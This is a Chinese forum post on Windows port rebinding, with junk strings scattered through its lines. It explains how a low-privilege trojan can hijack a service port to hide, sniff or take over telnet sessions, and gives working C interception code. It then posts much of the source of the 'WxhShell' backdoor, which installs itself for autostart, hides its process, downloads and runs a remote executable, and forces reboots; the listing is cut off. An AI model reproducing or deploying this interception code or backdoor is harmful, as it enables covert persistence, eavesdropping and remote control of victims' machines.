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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a;GuFnfn,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k'(d$;Jgr  
&"_5?7_N  
  saddr.sin_family = AF_INET; {jK:hQX  
c3L)!]kB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @2X{e7+D  
o+}>E31a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o.o$dg(r!  
w6Owfq'v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *_qLLJg  
c] '-:=  
  这意味着什么?意味着可以进行如下的攻击: xJNV^u  
@Yu=65h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >GV(\In  
)qq5WShMJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !e<D2><^  
.+.'TY--  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MS>QU@z7c  
3EVAB0/$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U8||)  +  
VGe OoS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $\9M6k'  
CogN1,GJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +N3f{-{"Yo  
X~o6Xkg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Rr%CP[bH  
[$x&J6jF.  
  #include ]-2Q0wTj  
  #include ukInS:7  
  #include l`mNOQ@}'  
  #include    8Ry%HV9VE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EE,57(  
  int main() $~h\`vF&  
  { Vw@?t(l>  
  WORD wVersionRequested; 2jT2~D.U1  
  DWORD ret; %fF0<c^-U  
  WSADATA wsaData; =N~*`5|rk  
  BOOL val; DI )!x {"  
  SOCKADDR_IN saddr; t ;-U  
  SOCKADDR_IN scaddr; X<8   
  int err; O8mmS!  
  SOCKET s; O]1aez[  
  SOCKET sc; -Uj3?W  
  int caddsize; )8_ x  
  HANDLE mt; Q)s`~G({P  
  DWORD tid;   BYKONZu  
  wVersionRequested = MAKEWORD( 2, 2 ); XwlF[3VbiX  
  err = WSAStartup( wVersionRequested, &wsaData ); qX%oLa  
  if ( err != 0 ) { Y0 ?<~Gf  
  printf("error!WSAStartup failed!\n"); U;q GUqI  
  return -1; v>!tws5e  
  } {gkY:$xnrG  
  saddr.sin_family = AF_INET; 9sId2py]W  
   8-_\Q2vG  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r9vO(m~  
rG t/ /6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6!|/(~  
  saddr.sin_port = htons(23); 71I: P|.>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g.]S5(  
  { U=vh_NHj  
  printf("error!socket failed!\n"); G@=H=' :~  
  return -1; 3[UB3F 4K  
  } OH_mZA  
  val = TRUE; 7lH.>n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ` JZ`j7f  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6|@\\\l  
  { 1:j[p=Q&  
  printf("error!setsockopt failed!\n"); VX+:C(m~  
  return -1; b9L" ?{  
  } 9l&4mt;+&<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;3P~eeQR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aBblP8)8;K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7O]$2  
0Q)m>oL.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?]/"AWUX  
  { 6}"t;4@$x  
  ret=GetLastError(); 2t3DQ  
  printf("error!bind failed!\n"); (kFg2kG  
  return -1; {+N7o7  
  } WW[Gne  
  listen(s,2); )d =8)9B  
  while(1) $8;`6o`  
  { D"vl$BX  
  caddsize = sizeof(scaddr); @@pI>~#zh  
  //接受连接请求 nf,u'}psdJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?Mj@;O9>'  
  if(sc!=INVALID_SOCKET) .ZVADVg\  
  { SMMvRF`7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i!7|YAu  
  if(mt==NULL) x:0nK,  
  { e:T8={LU2W  
  printf("Thread Creat Failed!\n"); CGCI3Z'  
  break; L^%jR=  
  } NU/:jr.W#  
  } ,5Nf9z!hk(  
  CloseHandle(mt); P7|x=Ew;`  
  } b!gvvg<  
  closesocket(s); g7g^iLU  
  WSACleanup(); -8%[ 7Z]  
  return 0; S @tpd'  
  }   haoQr)S  
  DWORD WINAPI ClientThread(LPVOID lpParam) [[A}MF*@  
  { 0~GtK8^B  
  SOCKET ss = (SOCKET)lpParam; Sft+Gb6  
  SOCKET sc; r zO5 3\  
  unsigned char buf[4096]; 6JUjT]S%  
  SOCKADDR_IN saddr;  }0f"SWO>  
  long num; s+7#TdhA  
  DWORD val; 2)^gd  
  DWORD ret; _gn`Y(c$%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]`H8r y2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [7sy}UH  
  saddr.sin_family = AF_INET; V^D!\)#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1J?x2  
  saddr.sin_port = htons(23); 89+Q^79m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xwe^_7  
  { b.lK0 Xo  
  printf("error!socket failed!\n"); mZ! 1Vh  
  return -1;  M_ii  
  } 4PDxmH]y  
  val = 100; -j"]1JLQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r{ }&* Y  
  { %DIZgPd\  
  ret = GetLastError(); W,-fnJk  
  return -1; |4?O4QN  
  } M.h8Kr!.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w^N3Ma  
  { s;!Tz)  
  ret = GetLastError(); p)y'a+|7  
  return -1; -V 'h>K  
  } (I0QwB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8TV "9{ n  
  { ?o883!&v  
  printf("error!socket connect failed!\n"); vC|V8ea  
  closesocket(sc); us$=)m~v+  
  closesocket(ss); $5v:z   
  return -1; 'rSP@  
  } IuN:*P  
  while(1) 0.kQqy~5  
  {  _YPu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KoF_G[m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HCOE'24I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Bq*aP*jv  
  num = recv(ss,buf,4096,0); ,o68xfdZVW  
  if(num>0) [_w;=l0 ;  
  send(sc,buf,num,0); S*9qpes-m|  
  else if(num==0) qdY*y&}"J  
  break; *fg|HH+i  
  num = recv(sc,buf,4096,0); BE LxaV,  
  if(num>0) SM1[)jZ-  
  send(ss,buf,num,0); r]lPXj(`  
  else if(num==0) Yj#4{2A  
  break; |a{~Imz{  
  } gkRbb   
  closesocket(ss); J%SuiT$L&Y  
  closesocket(sc); qEy]Rc%  
  return 0 ; ;rjd?r  
  } ]^c]*O[8  
'pQ\BH  
B kh1VAT  
========================================================== vAH`tPi>  
R\^XF8n6/  
下边附上一个代码,,WXhSHELL ml\2%07  
,,o5hD0V9  
========================================================== MbJ|6g99  
,bnrVa(I  
#include "stdafx.h" pon0!\ZT=  
wr{ [4$O  
#include <stdio.h> K! e51P  
#include <string.h> iciw 54;4  
#include <windows.h> ae-hQF&  
#include <winsock2.h> 1C]mxV=%  
#include <winsvc.h> +204.Yj?D  
#include <urlmon.h> T2p;#)dP  
H(,D5y`k1  
#pragma comment (lib, "Ws2_32.lib") (yxHXO9N  
#pragma comment (lib, "urlmon.lib") %SJ2W>e  
@b5zHXF83E  
#define MAX_USER   100 // 最大客户端连接数 R!2oj_  
#define BUF_SOCK   200 // sock buffer ]UFbG40Zo  
#define KEY_BUFF   255 // 输入 buffer WO<a^g {  
m\xlSNW'q  
#define REBOOT     0   // 重启 s6+`cC4  
#define SHUTDOWN   1   // 关机 ro`2IE>  
-lDAxp6p  
#define DEF_PORT   5000 // 监听端口 uqFYa bU  
bz4TbGg]  
#define REG_LEN     16   // 注册表键长度 {j!+\neL  
#define SVC_LEN     80   // NT服务名长度 qrxn%#\XP  
oasEG6OI8  
// 从dll定义API n,vs(ZL:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?X5Y8n]y\h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }=T=Z#OgH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `iT{H]po  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OD~B2MpM>  
x!R pRq9  
// wxhshell配置信息  SE;Yb'  
struct WSCFG { 2?./S)x)  
  int ws_port;         // 监听端口 || 0n%"h>i  
  char ws_passstr[REG_LEN]; // 口令 <yw(7  
  int ws_autoins;       // 安装标记, 1=yes 0=no K|^'`FpPO  
  char ws_regname[REG_LEN]; // 注册表键名 /@qnEP%  
  char ws_svcname[REG_LEN]; // 服务名 5kbbeO|0G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W< sa6,$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (W'.vEl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RjW< H6a"K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I/V lH:o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EnD }|9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  5i|DJ6  
I`-N]sf^  
};  @& fAR2  
?Q#yf8  
// default Wxhshell configuration Q-7C'|  
struct WSCFG wscfg={DEF_PORT, B;=-h(E}vJ  
    "xuhuanlingzhe", zC<k4[.  
    1, bDq[j8IT6  
    "Wxhshell", j$ h>CZZ  
    "Wxhshell", Oiz@tEp=_  
            "WxhShell Service", 6L}}3b h  
    "Wrsky Windows CmdShell Service", _jCk)3KO  
    "Please Input Your Password: ", >.4mAO  
  1, \!Cc[n(f#  
  "http://www.wrsky.com/wxhshell.exe", !eE;MaS>  
  "Wxhshell.exe" ?vn9HhTD  
    }; U?.cbB,  
Oll,;{<O  
// 消息定义模块 TP R$oO2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {>rGe#Vu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6G0Y,B7&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {$H-7-O$  
char *msg_ws_ext="\n\rExit."; mA2L~=v#  
char *msg_ws_end="\n\rQuit."; OJ!=xTU%h  
char *msg_ws_boot="\n\rReboot..."; sfKu7puc  
char *msg_ws_poff="\n\rShutdown..."; (Xv' Te?  
char *msg_ws_down="\n\rSave to "; 4SDUTRo a  
S;L=W9=wby  
char *msg_ws_err="\n\rErr!"; bpp{Z1/4  
char *msg_ws_ok="\n\rOK!"; K}e:zR;;^  
ckhU@C|=*  
char ExeFile[MAX_PATH]; E 8LA+dKN:  
int nUser = 0; F(}~~EtPHo  
HANDLE handles[MAX_USER]; ;:DDz  
int OsIsNt; QMAineO  
2/F";tc\'  
SERVICE_STATUS       serviceStatus; i&_&4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  TG^?J`  
B/F6WQdZ  
// 函数声明 P#o"T4 >  
int Install(void); 56`Tna,t  
int Uninstall(void); rK@XC +`S  
int DownloadFile(char *sURL, SOCKET wsh); Vz @2_k   
int Boot(int flag); vmsrypm  
void HideProc(void); n> tru L  
int GetOsVer(void); [~&yLccN  
int Wxhshell(SOCKET wsl); ~OSgpM#O!T  
void TalkWithClient(void *cs); b<bj5m4fz>  
int CmdShell(SOCKET sock); [Rxbb+,U  
int StartFromService(void); p'f8?jt  
int StartWxhshell(LPSTR lpCmdLine); 7H!/et?S,  
PXrv2q[5?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;eY.4/*R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !> 2kH  
E>I\m!ue  
// 数据结构和表定义 )Bw}T  
SERVICE_TABLE_ENTRY DispatchTable[] = rZ#ZY  
{ HzQ Y\Y6  
{wscfg.ws_svcname, NTServiceMain}, iKM!>Fi  
{NULL, NULL} #AO?<L  
}; 0(|Yy/Yq  
rHaj~s 4  
// 自我安装 Mv?$zV"`#  
int Install(void) w Sd|-e  
{ JEh(A=Eu>  
  char svExeFile[MAX_PATH]; kVe4#LT  
  HKEY key; YM r2|VEU[  
  strcpy(svExeFile,ExeFile);  ,7h0y  
"zZ Z h  
// 如果是win9x系统,修改注册表设为自启动 bGtS! 'I  
if(!OsIsNt) { X 7R&>Pf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z)Gd3C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DmtCEKa  
  RegCloseKey(key); SE<?l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wG@f~$   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mj<T+Ohz  
  RegCloseKey(key); 67b w[#v  
  return 0; Q5xQ5Le  
    } Ek6z[G` O  
  } %5$)w;p.$'  
} mJNw<T4!/  
else { E^4}l2m_  
O;lGh1.  
// 如果是NT以上系统,安装为系统服务 WRov7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [jEZ5]%  
if (schSCManager!=0) iu.v8I ;<  
{ B? Z_~Bf&  
  SC_HANDLE schService = CreateService 9T#${NK  
  ( %EH{p@nM&-  
  schSCManager, lW|`8ykp  
  wscfg.ws_svcname, c:I %jm  
  wscfg.ws_svcdisp, giYlLJA*}  
  SERVICE_ALL_ACCESS, r t0_[i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l=PZlH y1G  
  SERVICE_AUTO_START, 0PD=/fh[  
  SERVICE_ERROR_NORMAL, _)kTlX:,  
  svExeFile, U!i1~)s  
  NULL, ]_(J8v  
  NULL, uL{CUt  
  NULL, ZA+w7S3  
  NULL, "IN[(  
  NULL Qg]+&8!*  
  ); +3F%soum95  
  if (schService!=0) =1Hn<Xay0  
  { p?2^JJpUb  
  CloseServiceHandle(schService); R8-=N+hX  
  CloseServiceHandle(schSCManager); ?[<#>,W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yu>)[|-  
  strcat(svExeFile,wscfg.ws_svcname); oJ?,X^~_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { < Dt/JA(p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BUS4 T#D  
  RegCloseKey(key); VVJIJ9L&C  
  return 0; 9? y&/D5O  
    } H <9_BA?  
  } H~ E<ek'~  
  CloseServiceHandle(schSCManager); %<0'xJ%%Q  
} [\3W_jR  
} |Kb m74Z%  
FBxg^g%PB@  
return 1; MfZamu5+F  
} $p|Im,  
^Na3VP  
// 自我卸载 M}e}3w  
int Uninstall(void) '*B%&QC-  
{ ON9L+"vqv0  
  HKEY key; !oa/\p  
Rt>mAU$}  
if(!OsIsNt) { 5=#2@qp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $5:I~ -mx  
  RegDeleteValue(key,wscfg.ws_regname); FsLd&$?T&  
  RegCloseKey(key); GL%)s?   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h S)lQl:^  
  RegDeleteValue(key,wscfg.ws_regname); 2]]}Xvx4#  
  RegCloseKey(key); h~lps?.#b  
  return 0; ot0g@q[3  
  } 5PsjGvm.%  
} Ya4yW9*  
} #mYe@[p@  
else { UD=[::##  
\%&):OD1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D"gv:RojD  
if (schSCManager!=0) C8W_f( i~  
{ xXlx}C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `S+n,,l  
  if (schService!=0) iJH?Z,Tjf  
  { g/frg(KF  
  if(DeleteService(schService)!=0) { ;nrkC\SYh:  
  CloseServiceHandle(schService); t$ 97[ay  
  CloseServiceHandle(schSCManager); *q"1I9zvT  
  return 0; G.r .Z0  
  } gO{$p q}  
  CloseServiceHandle(schService); cJf&R^[T  
  } )t((x  
  CloseServiceHandle(schSCManager); l9e=dV:pH  
} 9k \M<jA  
} *cZ7?  
M@JW/~p'  
return 1; nDcH;_<;9a  
} :k-@w5(  
g/(BV7V  
// 从指定url下载文件 *eGG6$I  
int DownloadFile(char *sURL, SOCKET wsh) Zv2]X-  
{ G5%k.IRz  
  HRESULT hr; _0BQnzC=  
char seps[]= "/"; 2}XxRJ0   
char *token; c/^l2CJ0  
char *file; 4 |bu= T  
char myURL[MAX_PATH]; Y9I|s{~  
char myFILE[MAX_PATH]; jGoQXiX  
\x:} |   
strcpy(myURL,sURL); H_,4N_hL  
  token=strtok(myURL,seps); B2Rpd &[  
  while(token!=NULL) fw VI%0C@  
  { 3xN_z?Rg  
    file=token; !1%Sf.`!_  
  token=strtok(NULL,seps); I5)$M{#a  
  } B" _Xst  
'14 86q@[$  
GetCurrentDirectory(MAX_PATH,myFILE); v,Zoy|Lu  
strcat(myFILE, "\\"); [kTckZv  
strcat(myFILE, file); b6xz\zCL  
  send(wsh,myFILE,strlen(myFILE),0); K:A:3~I!NW  
send(wsh,"...",3,0); yY{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YeVo=hYH@  
  if(hr==S_OK) EEMRy  
return 0; E62_k 0q  
else Ls+vWfF=#  
return 1; ej7L-~lxQ  
zKI1  
} }u1h6rd `  
'Fc$?$c\  
// 系统电源模块 byTH SRt  
int Boot(int flag) gLY15v4?  
{ @=%g{  
  HANDLE hToken; `4?|yp.|L  
  TOKEN_PRIVILEGES tkp; >3*a&_cI=k  
7{l~\] 6d  
  if(OsIsNt) { C4GkFD   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r i)`e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ms5R7<O.7  
    tkp.PrivilegeCount = 1; _ 2)QL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R\Ckk;<$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OI8}v  
if(flag==REBOOT) { \%9QE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q,Y^9g"B`~  
  return 0; dWu;F^  
} Lxv6\3I+  
else { {;m|\652B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) of GoaH*h  
  return 0; 52NI{"  
} J qmL|S)  
  } ggrkj0  
  else { lIZ&' z  
if(flag==REBOOT) { 7G7"Zule*j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pe>?m^gz[  
  return 0; Jw>na _FJ  
} 2kk; z0f  
else { A`Rs n\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F\v~2/J5v  
  return 0; FUZuS!sJ  
} 7z&$\qu2  
} mi7~(V>  
KfYT  
return 1; vT @25  
} W`P>vK@=  
:."6g)T  
// win9x进程隐藏模块 I[?bM-  
void HideProc(void) sl(go^  
{ yhI;FNSf  
]rNxvFN*j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lgD %  
  if ( hKernel != NULL ) t @a&&  
  { :t;i2Ck  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3.g4X?=zd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $dWYu"2C D  
    FreeLibrary(hKernel); ~;YkR'q0_  
  } kBnb9'.A1  
Rlm28  
return; HuK Ob4g  
} g$vOWSI +  
fU\;\  
// 获取操作系统版本 /d/]#T[Z9  
int GetOsVer(void) FQE(qltf,  
{ cct/mX2&~  
  OSVERSIONINFO winfo; .6I'V3:Kg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :h/v"2uDN  
  GetVersionEx(&winfo); eAqpP>9n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hy@b/Y![M  
  return 1;  =zDvZ(5  
  else ):nC%0V  
  return 0; (_+ux1h6^  
} [d-Y1  
R=$}uDFmW  
// 客户端句柄模块 e\f\CMb  
int Wxhshell(SOCKET wsl) &Vu-*?  
{ PfB9 .f{  
  SOCKET wsh; *~*"p)`<  
  struct sockaddr_in client; |5&7;;$  
  DWORD myID; tfh`gUV 4  
8rFP*K9  
  while(nUser<MAX_USER) }n#$p{e$i  
{ =Zsxl]h   
  int nSize=sizeof(client); e**'[3Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G )`gn  
  if(wsh==INVALID_SOCKET) return 1; 3+ 2&9mm  
wehiX7y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Twr,O;*u=  
if(handles[nUser]==0) Kb-m  
  closesocket(wsh); VVpJ +  
else )K`tnb.Pf  
  nUser++; S v#,L8f  
  } MZh?MaBz06  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \:'6_K  
I)0_0JXs  
  return 0; L/%{,7l<^?  
} Y=O-^fL  
1CM 8P3  
// 关闭 socket )q\6pO@  
void CloseIt(SOCKET wsh) KoWG:~>|  
{ J4z&J SY  
closesocket(wsh); Dkh=(+> <  
nUser--; x9 n(3Oa  
ExitThread(0); - DYH>!  
} vQy<%[QO  
}w2Et  
// 客户端请求句柄 D0MW~Y6{  
void TalkWithClient(void *cs) 3H4T*&9;n  
{ >IA1 \?(  
@+)T"5_Y[  
  SOCKET wsh=(SOCKET)cs; ]1|7V|N6  
  char pwd[SVC_LEN]; yS[HYq  
  char cmd[KEY_BUFF]; Ij XxH]2  
char chr[1]; ,_D@ggL-  
int i,j; )7Qp9Fxo  
/11CC \  
  while (nUser < MAX_USER) { q|IU+r:! 3  
(?lT @RY/  
if(wscfg.ws_passstr) { yJlRW!@&:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R yM2 9uD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IjQgmS~G  
  //ZeroMemory(pwd,KEY_BUFF); FL&Y/5  
      i=0; =^l`c$G<  
  while(i<SVC_LEN) { hhI*2|i"L  
Gl6:2  
  // 设置超时 8YgRJQZ!  
  fd_set FdRead; 78<fbN5}r  
  struct timeval TimeOut; oz[G'[\}F  
  FD_ZERO(&FdRead); ; TwqZw[.  
  FD_SET(wsh,&FdRead); m5HMtoU  
  TimeOut.tv_sec=8; kGakdLl  
  TimeOut.tv_usec=0; 8493O x4 O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *"6A>:rQs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =4&"fZ"v  
]@}hyM[D;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TC@F*B;  
  pwd=chr[0]; !1]jk(Z  
  if(chr[0]==0xd || chr[0]==0xa) { s$0dLEa9  
  pwd=0; X &G]ci  
  break; 1!E}A!;  
  } ]=/?Ooh  
  i++; Tn(uH17  
    } /+. m.TF  
0 N0< 4b  
  // 如果是非法用户,关闭 socket O#>,vf$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [D?d~pB  
} /rK/ l  
g0s4ZI+T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CDr0QM4k:.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LcNI$g;}Yf  
R? N+./{  
while(1) { Nd@/U c  
02(Ob  
  ZeroMemory(cmd,KEY_BUFF); c|(Q[=   
$YJi]:3&  
      // 自动支持客户端 telnet标准   I?%#`Rvu  
  j=0; iU=:YPE+ .  
  while(j<KEY_BUFF) { u09D`QPP]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +>c%I&h}`  
  cmd[j]=chr[0]; +#A~O4%t  
  if(chr[0]==0xa || chr[0]==0xd) { Q7UQwAN'  
  cmd[j]=0; (OavgJ+Y  
  break; D$w?  
  } -$@'@U  
  j++; hQNUA|Q=%  
    } h7m$P^=U  
&Wk:>9]Jrb  
  // 下载文件 kKDf%=  
  if(strstr(cmd,"http://")) { _. EM])b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pE0@m-p  
  if(DownloadFile(cmd,wsh)) E>2AG3)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?#nk}=;g8  
  else ~*~aFf5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [i> D|X  
  } Eq8:[o  
  else { E(f|LG[I  
gd]_OY7L  
    switch(cmd[0]) { N f}ZG  
  [<Mls@?  
  // 帮助 /N./l4D1K-  
  case '?': { p6Ia)!xOGF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qS ggZ0*  
    break; PfhKomt"  
  } "{~^EQq,  
  // 安装 J'L6^-gV  
  case 'i': { SaRn>n\  
    if(Install()) +HD2]~{EkL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U> <$p{ )  
    else gzlRK^5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N%=,S?b  
    break; >{Xyl):  
    } @B?'Mu*  
  // 卸载 tdp>vI!  
  case 'r': { /L2.7`5  
    if(Uninstall()) &k`lb kq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EYn9l n_]u  
    else v`@N R06  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KR%NgV+}!0  
    break; 'mF&`BN}b  
    } *w6F0>u  
  // 显示 wxhshell 所在路径 o+- 0`!yj  
  case 'p': { |f$gQI!XW  
    char svExeFile[MAX_PATH]; ]9w TAb  
    strcpy(svExeFile,"\n\r"); (I{+ %  
      strcat(svExeFile,ExeFile); bcAk$tA2  
        send(wsh,svExeFile,strlen(svExeFile),0); KsqS{VVCh  
    break; ;D%H}+Z  
    } a,n#E!zT?w  
  // 重启 4]xD-sc  
  case 'b': { 6.|[;>Km  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .5A .[ZY)  
    if(Boot(REBOOT)) C0ORB p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A+fXt`YNM  
    else { %"|W qxv  
    closesocket(wsh); sn'E}.uhXH  
    ExitThread(0); 6;M{suG|  
    } _~ 2o  
    break; f %q ?  
    } o,$K=#Iv  
